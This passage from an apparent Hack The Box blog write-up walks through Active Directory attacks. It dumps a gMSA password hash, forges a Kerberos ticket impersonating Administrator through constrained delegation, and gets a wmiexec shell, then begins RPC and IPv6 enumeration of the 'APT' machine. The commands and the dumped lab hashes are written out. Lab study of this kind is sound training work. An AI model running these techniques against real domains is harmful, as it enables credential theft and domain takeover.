cmd.exe&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;psexec -i -s cmd.exe&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Start-Process cmd.exe -Verb RunAs&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;The prerequisite is having a shell, so this path is a dead end.&lt;/p&gt;&#10;&lt;p&gt;The second point was a constrained-delegation service account named SVC_INT$.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0538.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I can use it to forge an administrator ST for a specific service. Now the path forward is clear.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0539.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0540.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;For some reason, I couldn&amp;rsquo;t retrieve its hash. I looked more closely at the graph and found a second edge.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0541.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I had no idea what this was. After searching Google, I found this post: &lt;a class="link" href="https://www.thehacker.recipes/ad/movement/dacl/readgmsapassword" target="_blank" rel="noopener"&#10; &gt;https://www.thehacker.recipes/ad/movement/dacl/readgmsapassword&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0542.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;span class="lnt"&gt;8&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python gMSADumper.py -u Ted.Graves -p Mr.Teddy -d intelligence.htb&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Users or groups who can read password for svc_int$:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;gt; DC$&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;gt; itsupport&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;svc_int$:::8ee3b94d589dba78682293e1281bd394&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;svc_int$:aes256-cts-hmac-sha1-96:ba3ed0df6c5352e26ba7611354f901c89554733bab88094e8afbaca7368b3a80&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;svc_int$:aes128-cts-hmac-sha1-96:ab353763ac9cd6431a09819326a4daee&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;I paused here to understand how this method works.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0543.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Following this logic:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0544.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Only members of the &lt;a class="link" href="mailto:ITSUPPORT@INTELLIGENCE.HTB" &gt;ITSUPPORT@INTELLIGENCE.HTB&lt;/a&gt; group can use GMSA to retrieve the svc password. At first glance, the current user doesn&amp;rsquo;t have membership in that group.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0545.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;At least, that&amp;rsquo;s what this page shows. I searched again.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0546.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There we go—the user is indeed a member of that group. It just wasn&amp;rsquo;t displayed earlier, which is why this works.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ntpdate -u intelligence.htb &amp;amp;&amp;amp; date&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;getST.py -hashes :8ee3b94d589dba78682293e1281bd394 -spn cifs/intelligence.htb -dc-ip 10.10.10.248 -impersonate Administrator intelligence.htb/SVC_INT&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;For some reason, this kept throwing an error. After thinking about it for a while, I realized constrained delegation should apply to one specific service, rather than whichever service I happen to want. I still needed to find the right one.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0547.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Found it.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ntpdate -u intelligence.htb &amp;amp;&amp;amp; date&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;getST.py -hashes :8ee3b94d589dba78682293e1281bd394 -spn WWW/dc.intelligence.htb -dc-ip 10.10.10.248 -impersonate Administrator intelligence.htb/SVC_INT&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0548.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;That worked. Following the constrained-delegation tutorial, I first set the environment variable.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;export KRB5CCNAME=Administrator@WWW_dc.intelligence.htb@INTELLIGENCE.HTB.ccache&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;/usr/share/doc/python3-impacket/examples/wmiexec.py intelligence.htb/administrator@dc.intelligence.htb -k -no-pass&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0549.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Done.&lt;/p&gt;&#10;&lt;p&gt;This box took me longer than any other box I&amp;rsquo;ve worked on recently. I kept running into new concepts along the way, and by the end my head was spinning. I even slept for a while in the middle of it, and I had to check the write-up twice. If all the previous boxes taught the basic domain-controller penetration-testing workflow, this one brought all those earlier techniques together. It kept catching me off guard. While trying to reason through the attack chain, I was constantly testing ideas, making mistakes, and figuring out what had gone wrong. I have to say, this blog post has been a huge help during my recent study of domain penetration testing and serves as a great summary: &lt;a class="link" href="https://0range-x.github.io/2022/01/26/Domain-penetration_one-stop/" target="_blank" rel="noopener"&#10; &gt;https://0range-x.github.io/2022/01/26/Domain-penetration_one-stop/&lt;/a&gt;. It only gives each topic a brief mention, but once you have an entry point, it&amp;rsquo;s easy to branch out by looking up the tools and services in more detail and learning how to exploit them. It covers every technique used above, and when I first started learning, I followed this exact process too.&lt;/p&gt;&#10;&lt;h2 id="20apt"&gt;&lt;a href="#20apt" class="header-anchor"&gt;&lt;/a&gt;20.APT&#10;&lt;/h2&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0550.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;As you can see, the difficulty is extremely high.&lt;/p&gt;&#10;&lt;p&gt;Reconnaissance:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0551.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0552.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0553.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0554.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Two names, I guess:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;W3layouts&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;HTTrack&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;This site is using someone else&amp;rsquo;s template, and it says so explicitly. I needed to figure out which template it was. If there was no backend, that would mean there was no point spending more effort here. If a backend did exist, I could simply try downloading the source. Unfortunately, I couldn&amp;rsquo;t find one. I also tried JSFinder to look for any possible URLs, but it came back with nothing. In other words, this is a purely frontend website. There may still be something hidden, but directory brute-forcing is the only way to find it.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python /home/kali/hackthebox/JSFinder-master/JSFinder.py -u http://10.10.10.213/ -d -j&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ALL Find 8 links&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;url:http://10.10.10.213/index.html&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Remaining 8 | Find 0 URL in http://10.10.10.213/index.html&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;url:http://10.10.10.213/#&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Remaining 7 | Find 0 URL in http://10.10.10.213/#&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;url:http://10.10.10.213/services.html&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Remaining 6 | Find 0 URL in http://10.10.10.213/services.html&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;url:http://10.10.10.213/clients.html&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Remaining 5 | Find 0 URL in http://10.10.10.213/clients.html&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;url:http://10.10.10.213/about.html&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Remaining 4 | Find 0 URL in http://10.10.10.213/about.html&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;url:http://10.10.10.213/support.html&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Remaining 3 | Find 0 URL in http://10.10.10.213/support.html&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;url:http://10.10.10.213/news.html&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Remaining 2 | Find 0 URL in http://10.10.10.213/news.html&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;I did find an email address with a domain in it:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sales@gigantichosting.com&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;gigantichosting.com&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;I added it to my hosts file and visited the HTTP service to see whether anything changed. Then I used FFUF to brute-force subdomains. (There was no difference at all; this domain had no effect.)&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;wfuzz -c -w /usr/share/wordlists/SecLists-master/Discovery/DNS/bitquark-subdomains-top100000.txt -u http://10.10.10.213 -H &amp;#34;Host: FUZZ.gigantichosting.com&amp;#34; --hh 14879&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;I had now checked everything on port 80, so it was time to look at RPC.&lt;/p&gt;&#10;&lt;p&gt;Before looking at RPC, I checked the machine description.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0555.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It said this was an exceptionally difficult machine, and that RPC enumeration could reveal an IPv6 address which would then become the target for further penetration. If I had to discover absolutely everything on my own, I definitely wouldn&amp;rsquo;t be able to finish this machine. Just like before, when I run into something extremely difficult, I follow a writeup until I reach a point where I can continue independently. Some of the writeups I&amp;rsquo;ve seen were also created specifically as learning exercises. The important thing is to absorb the material and make it your own.&lt;/p&gt;&#10;&lt;p&gt;The next step in the writeup was to use rpcmap.py to find an entry point. I also tried the usual anonymous rpcclient login with a blank username and password, but got nowhere.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;span class="lnt"&gt;8&#10;&lt;/span&gt;&lt;span class="lnt"&gt;9&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;rpcclient:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Primarily used for SMB/CIFS services&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Commonly used in Windows domain environments&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Requires credentials&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;rpcmap.py/rpcdump.py:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Focuses on RPC endpoint enumeration&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Does not require credentials&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Can discover more RPC interfaces&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Now that I had an entry point, I started looking for tutorials. The blogs below explain it very well.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://tenaka.gitbook.io/pentesting/enumeration/ldap-ad-dc/rpc" target="_blank" rel="noopener"&#10; &gt;https://tenaka.gitbook.io/pentesting/enumeration/ldap-ad-dc/rpc&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://www.cnblogs.com/yuantest/p/15738148.html#smbmsrpc" target="_blank" rel="noopener"&#10; &gt;https://www.cnblogs.com/yuantest/p/15738148.html#smbmsrpc&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://juggernaut-sec.com/ad-recon-msrpc/" target="_blank" rel="noopener"&#10; &gt;https://juggernaut-sec.com/ad-recon-msrpc/&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;I started experimenting.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;rpcmap.py &amp;#39;ncacn_ip_tcp:10.10.10.213&amp;#39;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;I was still following the hints from &lt;a class="link" href="https://juggernaut-sec.com/ad-recon-msrpc/" target="_blank" rel="noopener"&#10; &gt;https://juggernaut-sec.com/ad-recon-msrpc/&lt;/a&gt;. (I try to learn while avoiding the writeup as much as possible. Later on, I may encounter more services I&amp;rsquo;ve never seen before, and without a writeup this is the only way I could approach them.)&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0556.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It said to pay particular attention to 99FCFEC4-5260-101B-BBCB-00AA0021347A.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0557.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;That exact value appeared in my results as well.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0558.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0559.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It fit the APT machine so perfectly that I almost wondered whether the post itself was a writeup. It wasn&amp;rsquo;t, though—it covered every method for attacking RPC. All of the links in that post were dead, so I searched for the project using the Python script&amp;rsquo;s name and found its repository.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://github.com/mubix/IOXIDResolver" target="_blank" rel="noopener"&#10; &gt;https://github.com/mubix/IOXIDResolver&lt;/a&gt;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python IOXIDResolver.py -t 10.10.10.213&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;[*] Retrieving network interface of 10.10.10.213&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Address: apt&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Address: 10.10.10.213&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Address: dead:beef::b885:d62a:d679:573f&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Successfully reproduced.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0560.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;No problems—it was reachable. For convenience, I assigned it a domain name in my hosts file, though an IPv6 scan with nmap would also work.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0561.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0562.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Now the real work began.&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;Port 80&lt;/strong&gt; was no different. I decided not to brute-force it for the moment. I&amp;rsquo;d come back to that if I ran out of other options, since brute-forcing it was painfully slow.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0563.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;135 RPC&lt;/strong&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0564.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span 